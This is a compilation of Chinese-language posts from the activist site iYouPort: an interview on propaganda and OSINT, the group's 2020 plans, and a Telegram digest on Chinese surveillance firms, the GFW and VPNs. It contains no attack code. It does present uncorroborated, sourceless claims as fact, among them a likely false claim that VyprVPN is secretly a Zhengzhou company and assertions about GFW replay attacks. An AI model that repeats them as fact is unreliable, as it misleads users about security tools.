我们肯定期待实用性高的内容（而不是口水内容）能接触到更多读者，以帮助更多人改善安全性并增强行动力。但鉴于我们是一群0资金不盈利的义务劳动强迫症患者，于是我们至少肯定没有钱去购买影响力人士的支持。

MR：如果有这样的机会，你愿意去“买”吗？

IYP：肯定不。

“你是在有史以来最重要的战斗中战斗”

「图」

MR：你们对 宣传/洗脑 的警告和解析已经有很多，但似乎被重视的程度仍很低。你觉得这是为什么？或者说，人们觉得自己可以识别洗脑操纵，这是真的吗？

IYP：在某些时候，无论出于何种原因，一些人已经意识到了社会中关于正在发生的事的共识叙述是错误的。

人们被教导用来了解自己的政府、国家和世界的工具，不仅充满了不准确之处，而且是故意的扭曲。

政府和寡头想要你相信的东西有很多，⚠其中最不重要的就是观点——真的一点都不重要；他们最想要你接受的是思考方式，是价值观；他们做到了，而且非常成功。

⚠你能发现一个国家的反对派团体和执政党具有同样的思考方式——思考方式的模式，虽然他们彼此反对对方的主张；这种情况在很多国家都存在。

人们将日复一日地争论政治意识形态、或应该对特定问题采取什么样的措施，但是，很少会转过身来检查一下自己用来形成这些意见的信息来源是什么。

事实上，关于世界上正在发生的事的大部分信息都是由那些无可否认地想要维持现状的既得利益者所掌控的，不论你选择任何语种。

人们基本不会质疑自己接收到的信息的性质，也同样不会质疑这些信息进入自己的头脑后会发生什么。长此以往便产生了认知偏见和感知过滤器—— ⚠这些过滤器决定了所有未来信息的解释方式。

这就是宣传。它让你深刻认为那些想法就来自于本心。

这也是为什么真相难以接触到人们。

因为真相违反这种积攒而形成的解释方式。

对于我们大多数人来说，思想并不是推动进化的有用工具，而是作为整个“节目”的作家、导演和明星。就如 Ecknath Easwaran 曾经说过的：“***we don't think our thoughts, our thoughts think us***.”

当权者最可怕的地方正在于他们真的能做到控制思想而不需要审查，因为权力控制资本的派发，被权力不喜欢的东西会因缺乏资本而被边缘化并被淹没，被垄断算法的阴谋所隐瞒，被大众既有的思考方式所忽略。

“识别宣传”？有可能，但绝非任何人所认为的那么容易。

> 真正的宣传会致力于让每个人都认为那些东西来自自己的本心

MR：如今已经越来越多的人了解这句话的含义了，“你能看到的东西都是他们希望你看到的东西”。我觉得这很好。

IYP：是的。只是这还不够，远远不够。

这句话表面上的意思似乎让人们远离信息，甚至远离对真相的追求。⚠这并不是我们想主张的反击。

认识只是一个过程，反击才是目标。

不论是透明度革命还是开源情报，都是真正的反击工具。

不否认透明度革命中被错误的体现了英雄主义气息—— 似乎是只有举报人就可以完成的工作，似乎其他所有人都是围观者。这不是事实。

举报人完成的工作只是关于*透明度*的前半部分，而更大的后半部分是：革命。这是需要所有人一起来完成的。就如我们在《超越透明度

革命》中所强调的：揭露暴君是一回事—— 废除它们是另一回事。

无论法律如何，我们都需要培养广大公民对抗当权者的能力。否则，世界上所有揭露都将是徒劳的。

想想看巴拿马文件之后中国有任何“改变”吗？

MR：是的，没有。我理解为什么。

另外，你们认为开源情报在中国发展的最大阻碍在于什么？

IYP：也许有两种，不分彼此。其一是，人们往往会拆分进击和防御，而不是将它们看成是一个整体。

OSINT与社交工程和道德黑客合作成为一个系统，比如袜子木偶，就属于社交工程。于是表面上看起来它是进攻性的。

我们在讲述社交工程的时候肯定会强调它需要被用于正义的目的。

但是，与OSINT一样，我们介绍的不仅是知识本身—— 不仅希望能将它们用于行动 —— 并且，同时提醒了防御。

人们不一定必须通过这些内容的学习成为深度调查大师，只要你能通过这些深度挖掘演示了解到互联网的跟踪监视能力，并且意识到如何保护自己的隐私，就已经非常好了。

如果您认为“我不是行动者，于是我可以不去了解这些内容”，那就真的错过了最重要的事。

MR：这应该不难理解，不论是社交工程、密码工程、渗透测试……都会强调类似的思考，比如“如果你来抢劫这家银行，你会怎么做”；就是站在攻击者的角度上思考防御，这才能是真正有效的。

但是的确有很多人对这种思考方式不够熟悉，或者说不够理解。比如一些中国的调查记者甚至认为调查记者专用的开源情报技术“非法”。这是很有趣的事。

你们感觉的另一个麻烦是什么？

IYP：也许可以说是文化。我不知道该如何形容这件事。

这是一种感觉。就像一场拔河比赛，一边是中国，另一边是世界；我

们这样的跨文化传播者就像被绑定在绳子中间的红布条位置上 —— 不论你接近其中任何一方，都意味着远离另一方。

你似乎很难做到将两边的力量拉到一起。

任何人都可以简单的从谷歌趋势图上看到开源情报在全球范围内的稳步增长；现在它已经价值数十亿美元，从安全防护到人道主义、到非政府组织、到调查记者，都在使用。

相关工作都是高薪水平。也因此，相关培训的收费都不便宜。社交工程也一样。

而当我们使用中文免费提供这些知识时，大部分中文读者似乎没有感觉到它本来的价值 —— 公民社会的价值，民主的价值，制约权力谎言的价值。

人们也许会觉得揭露水军幕后的推手、挖掘政治旋转门、大屠杀的真相、新疆的信息验证，等等这些内容“哇哦，很有趣耶”，但似乎没有加入行动的动力。

要知道这些“内容”不仅仅是内容，而是教程；思考方式是最值钱的东西，而非工具。

MR：我记得你们在 “Open China” 的感言中提到了这种拔河比赛的困惑；看起来这件事目前为止仍没能解决。

IYP：是的。

行动者的武器其实非常多，远远没有到只能陷入虚无主义的地步。

如果我们提供的知识能帮助人们看到新的可能性，能淡化无助的焦虑感，也算是极大的成就了。

🌤行动主义是一种创造性的思考方式，而不仅仅是某些战术；尤其是，绝大多数战术只能使用一次，一次之后就会失败。

创造力和敏捷性才是关键。这里并没有固定的模式，唯一固定的就是敏捷的应变能力。

这就是为什么我们认为专注于描述香港活动家的战术效用并不大。

香港行动最大的价值在于行动主义的精神、联合的智慧，这也正是全

世界承受专制主义压迫的人们—包括中国社会—最值得感受的，而非哪种战术。

不论是透明度革命还是开源情报调查，都是革命化的思考方式。

MR：革命化的思考方式很难适合大部分人，尤其是鉴于人类是群体动物……

IYP：没错，坚持革命化的思考方式可能还会带来一定程度的异化。

当你发现自己因为没有像你的朋友、亲人和同伴那种关于世界的共识叙述而无法在某些层面上与他们深刻沟通时，这可能会让你感到在这些方面缺乏亲密感。

在谈论政治或其他有争议的问题时，你可能也发现自己是一个“奇怪的人”，也许甚至会因此失去老朋友。

但无论如何你还是会继续前进。对于我们中的一些人来说，忠于事实比适应环境更重要。

如果你身边有这样的人，你应该真诚地感谢他/她。

因为他们要把自己和周边从遍布我们社会的欺骗性叙事中解放出来。这是我们可能进行的最重要的战斗。有史以来最重要的战斗。

没有什么战斗比这场斗争更重要的了。

唯一有能力引导我们走出这场噩梦的是人们可以利用绝对庞大的基数之力量来结束压迫、结束杀戮，全方位扭转现状。

然而你会发现人们没有这么做。

⚠人们不会利用绝对庞大的基数之力量来结束压迫、结束杀戮，全方位扭转现状；因为他们对此并不感兴趣。

为什么？

因为他们的思想被那些因现状的存在而被赋予巨大权力和财富的人大规模地操纵着。

人类最大的困境最终归结于这样一个事实，即：宣传比大多数人所能意识到的要广泛得多，而且要先进得多。

这不是大众的错。并不是。没有人会在学校教你，在你的整个生命中富豪统治者将通过他们几乎无法被控制的复杂的心理战操作来控制你脑海中的想法。没有人会告诉你这些事实。

作为一个孩子，没有人会警告你，如果你真的想长大了，你首先必须摆脱那个自出生以来故意缝入你意识的庞大的谎言网络。

但不要悲观。

因为一些人真的成功了。他们找到了摆脱欺骗矩阵的方法。这非常不容易，而且肯定不会舒服，但只要做到了，就已经准备好了进入这场战斗。

这样的人会尽力地分享真相来对抗虚假信息，尽力地在宣传机器的齿轮上扔沙子，并向人们展示矩阵代码中的微小差距，希望有些轻度睡眠者可能会发现它，并开始由此醒过来。

☞方法在这里《摆脱操纵和宣传：28个长期技巧》

如果这样做的人是你，你会越来越熟练，并做得更好。你将能够更好地理解压迫机器的运作方式，这样你就可以更清晰地向别人描述它。

无论如何你都会继续战斗。不是因为这是一场简单的战斗，也不是因为这是一场可以赢得的战争，而是，因为你理解真相是最高价值，因此任何的不真实对你来说都是无法忍受的。

你不会孤单。其他人会加入你，因为他们已经意识到了正在发生的事。然后会有更多人加入。更多。

没有比这更重要的战斗了。只要他们的宣传机器被消灭了，他们的所有愿望都会破灭。

> 永远不要怀疑你投入这项努力的能量是否得到了充分利用。永远不要让任何人羞辱你使你沉默、或让你相信你的努力是徒劳的。永远不要怀疑你是在正确的道路上。

送这张图给您 —— 准确说是上面的字

“你想要看到的是什么样的改变”

「图」

Peace/justice/democracy/human rights, is not something you wish for; It's something you make, Something you do, Something you are, And something you give away —— John Lennon

MR：我还是想说说你的保险杠贴纸。如果这句话不是人们通常所认为的那样，那么理解它的难度在哪里？

IYP：理解这句话的挑战是让你思考你实际上想要在世界上看到什么样的变化。

大多数人甚至从来没有想过这件事。

很少有人会真正想到自己希望以一种积极的方式看到什么样的世界，几乎很少有人会去设想这个世界会是什么样子。

大多数人只会去考虑自己能看到的小党派战争：意识形态、政策、警察暴力等等。而不是坐下来深度思考自己希望帮助创造的世界是个什么样。

MR：的确如此。想起你们在行动原理中介绍过的一句话，“你永远不可能仅仅通过对抗现有的现实来改变这一切。要改变某些东西，你必须建立一个新的模型，使现有模型过时”。

那么你想要看到的改变是什么样的？

IYP：我希望看到人们以每个人的最高利益做出选择，即使这些选择违背部落群体思维，或者在他们的舒适区之外；

我希望看到人们对合作的欲求超越竞争；

我希望人们开始相信正在走上一条新的路，我们在以前从未被发现的路线上开辟了一条新的道路—— 一条泥泞的新路；而不是退回到曾经非常熟悉的高速公路上，因为那条平坦的高速公路延伸到错误的方向；

我希望看到人们放弃部落主义并接受人文主义；

我希望看到人们能够深深地爱自己，并用有意义的和清晰的眼光看待他人；

我希望人们超越竞争的叙事，并根据行动和现实而不是操纵者的叙事

或部落内部叙事来理解问题；

我希望人们有智慧去承认自己拥有权力的地方，并勇敢地使用这些权力；以及承认自己无能为力的地方，这样才有可能挑战当权者；

我希望人们能说出真相，即使起初只是对自己说，它也会有用；

我希望人们每次都毫不犹豫地选择生命而不是死亡，我希望人们总是能寻求到解决方案，并拒绝死亡、破坏、操纵、和混乱所提供的结果。

这些只是我个人对世界的渴望。

我会这样去努力。

如果我们所有人都能对我们实际可以立即改变的唯一事实—我们自己—单独承担真诚的责任，那么连锁效应将是无法量化的。

MR：我很激动。我喜欢你们的简介：

> “不吐槽、不鸡血、不营销、不废话，我们只提供能够帮助您赢得胜利和活得踏实的基本技术技能。这就是我们与几乎所有网络媒体的不同之处。”

IYP：谢谢。

MR：此外我还看到过中国有一些人对“简体中文” 很厌恶，认为互联网上的 *所有* 简体中文内容都没有任何价值。这件事你们怎么看？

IYP：我觉得支持“简体中文没有价值”的人很可能不是 IYP 的读者:)

MR：哈哈，IYP 是一些有趣的人，希望这篇漫长的访谈能帮助您更了解他们。〇

原文

IYP 的新10年：我们的2020什么样？ - iYouPort

这里是IYP的口袋知识-小册子和电子书

IYP 会推出一些新的东西，并做一些小的改版；本文是希望您知道：您可以用 IYP 赚钱

「图」

「图」

Hi，所有亲爱的每一位，深深感谢您再次持续一年的关注！由衷地希望我们提供的内容能对您有所帮助。

IYP（iyouport）已经工作5年，这其间经历了很多事；包括最初的 .com 网站的消失、多次转移平台、改革、以及联盟。

我们不打算回忆，也不打算总结2019；IYP 只希望往前走，不抱怨、不扯皮、不自怜、也不自赏。

我们知道在过去的数年中自己还没能做到什么，于是我们希望在新的10年中能弥补这一缺憾。

IYP 的 2020

1、我们将调整发布数量。

陆续有读者反馈说，我们提供的内容“太多了”，短时间内难以消化。这的确是个问题。

由于 IYP 的内容大多是实用性的，您需要亲手实践它们才有希望掌握并获得创意灵感；为了给大家充分的时间，我们将调整为每日4篇文章，同时关注反馈。

发布时间不变，依旧是：周二 ~ 周五，北欧时间 (GMT＋2) 每晚

18:00 后、中国时间 (GMT＋8)每日零点后，您将在首页 “The New” 看到最新的发布。

2、（适当）增加互动。

IYP是不盈利的，也没有任何资金，从来都是如此 —— 我们不受地主和资本家的束缚。

但也因此，我们的人手极少，所有人都是义务劳动。于是，在提供丰富内容的同时协调更广泛的互动对我们来说是有难度的。

但是，我们真的希望和您沟通；如果您生活在中国，您的经验将对IYP和我们的所有读者都具有非常高的价值。

在2019年我们已经开始接受来稿 —— 在此感谢所有来稿的朋友 —— 2020年IYP将继续接受来稿，不过我们希望简单说明一下规则。

如下：

A：内幕。

如果您希望提供内幕消息，首先请保持足够的匿名性，这是为了您的基本安全利益；与此同时，请提供具体文件，文件需要能说明您希望说明的信息，而不仅仅是 “我听说/我知道”。

我们会通过多种方法验证文件的真实性。

如上所述，我们的人手有限，暂时没能实现基于网站的安全投递渠道（嗯，这不仅需要人，也需要钱，租地堡并不便宜）；于是，我们不会主动建议您提供内幕资料，如果您确认自己安全，我们会很欢迎您的知识。

对于安全投递渠道，有多家媒体平台提供。但并非所有平台的相关技术都是可靠的。不可靠的技术已经导致很多举报人被捕。

但是 Wikileaks 的渠道已经过10几年的检验，它是可靠的；此外 intercept 也可以考虑，如果您深信中美之间 “没有” 情报共享的话。

我们在 “透明度革命” 专栏中介绍的技巧和经验希望能给您以帮助。

B：实用性。

目前我们对来稿的期待着眼于实用性 —— 也就是说，我们希望知道“怎么办”，而不仅仅是 “发生了什么”。

举个例子。一些中文媒体曾经报道过黄貂鱼在中国的布设；IYP 随即提供了《如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？#反监视技术》。

如果您在中国生活，并拥有识别/阻断黄貂鱼等各种攻击的相关经验，我们会非常期待能把您的经验分享给更多人。这就是实用性。

再比如，我们的频道分享了直接行动模版资料，如果您在阅读后开始在本地社区实践，您从中发现了什么？有没有遇到麻烦？是否从实践中找到了更多的灵感？以及哪些方法更适合中国的社区？我们认为这些知识非常有价值。

以上都是实用性。

事实上还有一种实用性。曾经有读者发现，Tor 的3次跳跃中的2次都在同一个国家。这是个问题。如果您能将您的发现写成报告，我们可以发表它，并且帮助您与Tor的技术人士沟通，探讨解决方案。

同样，如果您的测试发现中国的GFW采取了新的扫描封锁方式，以至于曾经可以使用的反封锁工具失败，您可以记录下您的调查过程，我们将以此为线索与国际上的各种反封锁技术团队探讨更好的绕避方法。

这只是一些例子，还可以有更多。

如上，这是我们希望的来稿。IYP 专注于解决问题，而不是仅仅希望听闻发生了什么。

C：您的创造力。

网络封锁和监控是一种工具，它在全球大部分国家被用来镇压、甚至预测群体事件，以提前维稳。

原因在于：这个互联网不是民主的，公民无法掌握它的基础设施。老大哥就内嵌在这个互联网中。

还记得 IYP 的口头禅吗？“别依赖你无法掌握的东西”。

它还有下半句：我们需要构建自己能掌握的东西。

这就是为什么 **Mesh Networking** 在近年来一直都是全球数字权利社区的热门话题。

如果您是动手爱好者，非常欢迎您实践 “自己的互联网” 创意，并写下您的构想；如果您的测试取得了进展，我们甚至可能为您提供相关的技术协助、与全球优秀开发者面对面探讨的机会 …… 甚至更多。

D：翻译志愿者。

我们的 telegram 频道提供了很多书籍和资料的下载。它们都是英文的。已经有多位读者留言表示期待中文版。

IYP 再次受限于人手过少，但是，如果任何读者希望翻译我们提供的书籍和资料，我们都会格外感激您！

您可能不需要翻译全部，可以翻译其中最精彩的一两个章节，我们会将您的劳动成果与更大范围的读者群体共享。

E：多媒体形式。

想用 IYP 赚钱吗？

IYP 正式邀请读者将我们提供的知识制作成多媒体形式，以此获得的一切收益（不论是广告收入还是打赏）完全归您所有！**IYP**分文不取。

☞只有一点：请在您的作品中加入 IYP 的 logo 和域名 “iyouport.org”，并在简介中写明您使用的是哪一篇文章。

有灵感吗？我提示一下：

- 比如，实践我们提供的文字教程，发表您的屏幕录制（配音可选）；
- 再比如，将我们介绍的反侦察知识做成短片，演示社交工程攻击和防御；
- 还有，使用我们提供的开源情报工具，揭露网络造假、挖掘信息战、曝光水军、追踪诈骗，等等；
- 甚至可以，和您的团队合作尝试亲测 “完美隐身”，拍摄系列剧……

☞再一次！您的作品获得的任何收入均归您一人所有！只需要添加 IYP 的 Logo 和域名 “iyouport.org”，并在简介中写明您使用的是哪一

篇文章！

A、B、C、D、E，上述就是 IYP 认为最佳的互动方式。如果这其中有适合您的部分，您已经收到了我的飞吻 💋

「图」

「图」

3、新列表！

IYP 谷歌文档分类知识列表（一）（二）截止2019年底已经更新完毕。2020年我们将使用 start.me 收纳和分类内容，5个列表如下——

- ○ 隐身保护知识和工具**：

https://start.me/p/xbYXdR/iyp-1

- ○ 监视资本主义的世界什么样**：

https://start.me/p/RMQrDD/iyp-2

- ○ 守门人和斗智**：

https://start.me/p/nRBzO9/iyp-3

- ○ 高堡奇人的世界**：

https://start.me/p/aL8RrM/iyp-4

- ○ **Direct Action**：

https://start.me/p/1kod2L/iyp-direct-action-5

- 建议您使用电脑网页版打开，鼠标悬停在每一个标签上可以看到简介；
- 如果您使用的是手机，打开上述链接后请手动点击每一个模块，它们将展开具体内容。

每一个列表是不同的主题，但它们为同一个目标服务。

我们不是在为了提供内容而提供内容—— 我们提供的任何内容都没有任何收入，凑版面对我们来说没有意义—— 我们要做的是帮您打

造一套装备，从思想到认知、从在线到现实、从智力到能力，从协调性和行动力……

正如我们的 “关于IYP” 专栏简介中所描述的：

> 不吐槽、不鸡血、不营销、不废话，这就是我们与几乎所有网络媒体的不同之处。因为我们不是新闻媒体，而是替代媒体。

start.me 在中国没有被封锁，您可以在中国网络分享这些列表。

4、更多的实用性知识。

正如您所知道的，直接行动不是游戏，它需要强大的技术技能的支撑。

上述*"Direct Action"*栏目中的所有内容都是您需要的。

2020年我们将继续加大对实用性知识的比重，不仅包括在线、也包括现实；比如，您知道怎样提前预知危险吗？如果您的手被绑住了，您知道该如何逃脱吗？或者，您想要知道在监视遍地的世界里可以如何生存吗 ……

这只是仅举几例。

上述5个列表每周都会不断补充新的内容。其中 *实用* 是我们的大原则。

你可以做的

我们在年终访谈中再次重申了这点：IYP 没有核心团队；所有认同直接行动的朋友都是 “核心”、所有擅长使用我们介绍过的工具的朋友都是 “核心”、所有希望成就公民事业的朋友都是“核心”。

希望成为 IYP 的核心吗？您可以很简单地做到 ☺ ：

- 你有没有发现，在你所在的微信群组中或 Twitter 时间线上，其他人发布/传播了虚假的消息？—— 请指出他们的错误，并告知真相是什么，以及您通过哪种方法获得的真相；比如这里。
- 你有没有发现，你的关注者中（不论任何平台）有人发布了不

安全的照片，这些照片中暴露了发布者有可能致命的隐私信息？—— 请指出它们，并告知发布者为什么这会危险，也就是通过这些信息能挖到什么。比如这里。
- 你有没有发现有人采取了不安全的上网方式？—— 请告诉对方，并解释为什么这样不安全，以及应该怎么做。比如这里。
- 你有没有在围观他人/群组的在线对话过程中发现诱导式骗局？—— 请及时指出它，告知被询问者 “你不应该回答这样的问题”，因为 “它会导致泄露什么”。比如这里。
- 以及，上述 “互动” 部分中包含的所有内容。

就是这么简单！如果您这样做了，您已经加入我们，您就是核心。

「图」

「图」

延续的

A：大家都知道我们会休假，但是休假只是意味着网站的更新频率有变化，"telegram 频道"的更新是不受休假影响的；当然我们会尽可能避免内容超载（如果一周上传100本书，那么可能其中任何一本书都不会发挥应有的价值，对吧？）

B：我们会继续推出两部分汇总，一部分是完全的频道内容汇总，另一部分是书籍和资料的免费下载阅读汇总。2020年我们将形成半年度的汇总，以避免一个链接中的内容过多。

C：IYP 的 Twitter 官方账户所发布和转推的任何内容都将自动登陆我们的网站，也就是说，如果您转发了IYP的内容、或采纳了IYP的建议，我们的转推也许能帮助您获得更多的关注者；如果您不希望登陆我们的网站，您可以在帖子中注明这点；我们会帮你避免转推。

D：不要错过我们的 **telegram** 频道：https://t.me/iyouport；以及我们的 “友台” ：https://t.me/chinatrikemap，和 https://t.me/BlackCatTeaRoom

最后

不要错过：

- 我们的年终访谈，关于香港和中国《”成为你想要在这个世界上

看到的改变”：与IYP下午茶》
- 我们的年度频道汇总《IYP’s Telegram频道本年度部分内容更新汇总》
- 我们的年度书籍汇总《IYP优秀书籍年度汇总2019—在线下载免费阅读》

就是这样！

感谢所有读者 ❤️！希望我们和您一路的2020更加精彩 🎉。

下一个十年，再见！👏

广告

原文

IYP's Telegram频道本年度部分内容更新汇总 - iYouPort

这里是IYP的口袋知识-小册子和电子书

嗨，朋友，我们的频道在这里：https://t.me/iyouport ；鉴于并非所有读者都使用 telegram（中国已经封锁了telegram），并且， IYP 已经有了新的专门服务于中国读者的免翻镜像（https://storage.googleapis.com/qurium/iyouport.org/index.html ），于是我们汇总了一些发布过的内容，希望它能帮助接触到更多华语地区的读者。

任何朋友都可以通过类似的汇总帮助知识在华语地区的传播，只需注明“IYP—iyouport”。谢谢！

不要错过：

- 我们的年终访谈，关于香港和中国《”成为你想要在这个世界上看到的改变”：与IYP下午茶》
- 我们的年度频道汇总《IYP’s Telegram频道本年度部分内容更新汇总》
- 我们的年度书籍汇总《IYP优秀书籍年度汇总2019—在线下载免费阅读》
- 您可以如何利用 IYP 赚钱《IYP 的新10年：我们的2020什么样？》

「图」

「图」

18/09/2019

关于斯诺登的新书：

预计一段时间后可能有电子版在线（甚至免费/不确定）如果您不急，也许可以等等看；

因为，这本书很大程度上不是为了卖钱的，而是保命。

目前斯诺登的境况比 Julian 更危险；Julian 在监狱里，如果他死了，全世界都知道是谁干的。但 Ed 在外面，他随时可能被暗杀，并很可能难以追究凶手。

这本书就是Ed为自己打造的护身符—— 抢先说出真相（就如他一直所做的那样），留在世间、尤其是更多人的心里，万一不测发生，这本证言可以更好地帮助支持者锁定凶手。

📢IYP承诺详细分析与当权者过招的技巧。斯诺登的案例将包含其中。请期待详细分析。

斯诺登在新书发布的访谈中谈到了**分身**的技巧—— 在互联网上保持匿名的简单方法，正如IYP曾经详细介绍过的知识，您可以在这里回顾：《分身技巧》。

请注意：中国当局正在抢占“网络安全”的概念本身，就如我昨天谈到的。

中国的“网络安全”建立在隔离中国和世界互联网的基础上，宣传美国的大规模监控（如 斯诺登的故事，它不会被审查）对中国当局的宣称有利—— 这是他们最擅长的方法，就如你知道的，取其有利于自己的部分。

⚠永远记得，大规模监控是任何一个当权者所痴迷的，因为没有任何政权不期待权力稳固。要做到权力稳固，全面控制社会就是当权者最期待的捷径；《新的压制和新的反抗：社会运动的智慧如何跟上技术型暴政的进化？》。

美国的大规模监控/拦截 仅仅得益于它的地理位置，并且，被揭露的结果正在被包括中国在内的很多国家政权所利用—— 这绝非任何人所期待的结果：《NSA 的阴云笼罩国际加密 —— 网络安全标准化会议在中国举行令人五味杂陈》。

⚠美国寡头帮助中国构建的大规模监控技术绝不可小视：《美国科技巨头如何帮助中国建立大规模监视系统》。

简单说：不要因当局的宣传误解“网络安全”的概念—— ⚠他们的安全和我们的安全绝非一码事，并且，任何时候，他们和我们，只能有一方获胜。

总之，如果您希望了解斯诺登的危险和透明度革命的前景，这本书是有益的；如果您准备学习更多的安防知识，这本书恐怕帮不上太多。

但是，非常推荐更多人阅读这本书，以延续透明度革命的未来—它也许可以帮您找到反抗的3.0版思路。

如果您期待安全知识和行动技巧，请参见IYP的两个栏目：“How To Win”、和 “Survival Skills”，**确保实用**：iyouport.org

19/09/2019

说到全网监控，中国读者经常谈到的专门服务于政府的刽子手是中国厦门的美亚柏科：《“互联网＋”维稳：舆情监控公司去年收入大幅增长》。

但是，⚠还有一家可能被忽略的、具有同等甚至更深入监控能力的开源情报间谍服务公司：**Knowlesys**。

KIS（Knowlesys Intelligence System）位于中国深圳，是一家标准的监控公司。

他们的自我介绍是：“基于全球领先的开源情报提取技术；从社交媒体（推特，Facebook，Youtube，Insatgram …）和传统网站（论坛，聊天室，新闻….）中挖掘大量信息，并通过自动分析和手动处理将其转化为可操作的情报。

作为专注于 社交媒体情报 的间谍技术开发公司，**KIS**成立于**2003**年（美亚柏科成立于**1999**年）—— 想想看，我们这帮人在1999年 ~ 2003年之间在干什么？

《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》

KIS在自我介绍中描述它自己可以：

– ⚠监控与相关城市或省相关的所有信息，尤其是负面信息；

– 后续处理⚠联系目标网站管理，采取应对措施，毫不拖延；

– ⚠实时监控Twitter / facebook. youtube，bbs，博客，论坛；

– ⚠监控聚焦QQ /微信群组的聊天内容

– ⚠跟踪某个主题或作者的所有信息

KIS在自我介绍中描述它的目的是：

■ 消除或尽量减少偶然的负面信息对相关省/市和政府官员形象的不利影响—— 洗地；

■ 识别和理解目标省/市的舆论，解决刚出现时的冲突—— 维稳；

■ 识别网络内容的威胁（例如泄露机密信息）—— 封口；

「下图 1 是该监视系统的三个子系统构图」

「图」

「图」

KIS介绍中表示：

– 政府用户可以在该监控系统中自行添加新闻网站、论坛网站等监视目标网站；

– 并且，⚠谷歌、Twitter 和 Facebook 都是已经内置的监控目标；

– ⚠自动提取子系统还可以监控基于应用程序的网络聊天室；

自动提取子系统的全方位监控功能如下图 2 所示：

「图」

「图」

KIS介绍中还强调该监控系统的诸多“优势”：

– ⚠在中国国内收集被GFW封锁的外国网站、收集受源IP和访问频率限制的网站、以及自动收集代理IP地址，无需进一步配置。

– ⚠设置关键字后，一旦收集到的内容中出现一个或多个关键字，就可以将记录发送到相关的短信接收器，进行无人值守的实时监控 ……

再次强调 ⚠作为服务于政府的开源情报公司，KIS成立于2003年（美亚柏科成立于1999年）；如果任何人认为我们—作为被监控对象—直到2019年 依旧“不应该”广泛普及**开源情报**调查技术 以令这些

情报侦查工具真正为公民服务—— 从防御到进攻 从而实现原地反击的话，请重新思考这一问题。

开源情报技术并非当权者专属；

公民使用开源情报调查反驳政府的谎言：《利用开源调查揭露腐败》

揭露中国情报部门黑客真实身份：《揭露中国情报部门黑客的真实姓名》。

挖掘当权者对公民实施间谍行为的真相：《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》。

揭露政治旋转门：《深层政治：Facebook金字塔的人形肌理 —— 仅仅依靠开源数据，扒开利维坦的内裤》。

仅仅开源情报就可以揭露 算法专制 是如何操控每一个人 ：

《非物质劳动和数据收集：—— 关于数字极权是如何剥削你的（1）》

《人类数据库和算法劳工：—— 关于数字极权是如何折腾你的（2）》

那是那句话，技术在谁手里就能是谁的力量；

技术是民主的，社会才能是民主的。

让公民掌握技术，是开源情报栏目的主旨—— 防御和进攻双重功效兼备：https://www.iyouport.org/category/osint/

这些技术介绍并不会“帮助政权”—— 政权从20年前就开始拿这些东西对付我们所有人了。

现在开始反击还不晚。

请帮忙传播上面这些内容：

开源情报市场近百亿美元，所有工作都是高薪的，相关培训每堂课售价高达五千英镑。

现在这里—中文版—是免费提供的，只因为真正需要用它来反击和保护自己的是没有钱的老百姓。

请让更多人至少知道这20年发生了什么，就算人们根本不想加入反击，也至少能用这些知识保护自己。

23/09/2019

「图」

「图」

Artificial Intelligence used for mass surveillance in 75 countries. A new report from The Carnegie Endowment for International Peace finds that at least 75 countries are using facial recognition and other forms…

所谓的**AI**在**75**个国家用于*大规模监视*。

请注意 👆这张地图的颜色：红—中国；蓝—美国；红蓝条：中国和美国—— 这些颜色覆盖了多么广泛的面积。

这也是为什么IYP去年介绍的新书中分析认为：只有中美两国（高堡奇人）能压制反叛，

详细《“只有两个国家足以压制反叛”：AI, 大数据和反叛的未来》。

此外，除中美之外的第三大AI监控技术供应商是：日本的NEC Corporation（覆盖14个国家）。

推荐相对完整的调查报告：

⚠《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》（含文件资料图）

24/09/2019

如果您想要读书 或者观看纪录片，可以参见IYP的 “图书和纪录片推荐” 栏目，该栏目是以新书节选 、知识的应用方法、及评论形式出现的，纪录片则可以在线观看：https://www.iyouport.org/category/book-documentary/

25/09/2019

「图」

「图」

我们最近得到一个不详的消息：GFW引入了类似于“威胁情报系统”的东西，就如上面这张图。

GFW通过这些系统，分析哪些IP段属于“高风险”，然后封锁它。

因此，同样的行为（代理），在不同的IP段有不同的结果。

以及，预计今年年底，受中国认证的VPN就要出现了，但是按照消息源的说法，这些VPN都有所谓的“公安监控系统”。

虽然这套系统不会破解**HTTPS**连接，但是他们会通过重放攻击（**HTTPS**会话过期是**24**小时后），来获得用户访问的具体 **URL**（传输内容依旧安全，但是具体网址暴露了）。

最后：曝光一个东西—— VyprVPN，其实是一家中国河南郑州的公司，他们的真实名字叫做玲珑加速器（曾经他们申请过一个东西，叫做“VyprVPN中国版”，但是没能得到中国政府同意）。

「图」

「图」

这是之前调查 VyprVPN 发现的，他们的变色龙协议，其实是中国郑州的一家公司开发的（而这家公司其实就是他们背后的母公司）

另外，**GFW**现在不只是封锁国内到国外的通信，如果**IP**被**GFW**拉黑，那么这个**IP**也无法连接到大陆网络。

案例：大量中国的翻墙服务商使用HKBN（香港宽频）提供的家庭宽带（使用家庭宽带IP来作为代理服务器），结果是，导致大量使用HKBN的香港人无法连接到中国大陆的网站（和其它服务）。

因为GFW认为HKBN的IP段属于“高风险”。

25/09/2019

你对目标的了解越多，找到他或她的弱点就越容易，然后就可以利用这些弱点以发起最有效的攻击。

⚠然而你对自己的弱点很可能不那么了解，而你的敌人很了解。如果

你想要防御敌人，那么就最好能首先”变成”自己的敌人—— 通过他们的眼睛来看自己。

请注意，任何人都可能成为你的敌人—— 而不仅仅是政府，还包括收钱“办事”的家伙。

最近我们惊讶的得知，早年只在欧美国家流行的私人侦探业务，目前也在中国出现。

你往往不会知道自己在什么时候会得罪什么人。唯一的方法是：提前预防。

这就是“自我人肉” 系列的目的—— ⚠帮助您在被对手找到之前，尽可能砍断一切追踪线索。

正因为当下数字时代，人们在互联网上暴露了自己太多私密隐情，于是，社交媒体和互联网是追踪者首先会深入探索的。

这是一场竞技。你和你的对手谁先入手，谁就能取得胜利。

“自我人肉”系列将提供绝大多数追踪者都会使用的技术和工具，是的他们整天都在研究这些东西。现在，我们必须让大众了解这些东西，以便采取针对性的防御。

🌤**关于安全防御，IYP即将推出一整套详细的措施—— 从线上到线下，尽可能从每一个细节帮助您的人身安全。敬请期待。** 本文是关于在线防御的：

《社交媒体情报和反情报基本工具手册：自我人肉（2）》

25/09/2019

「图」

「图」

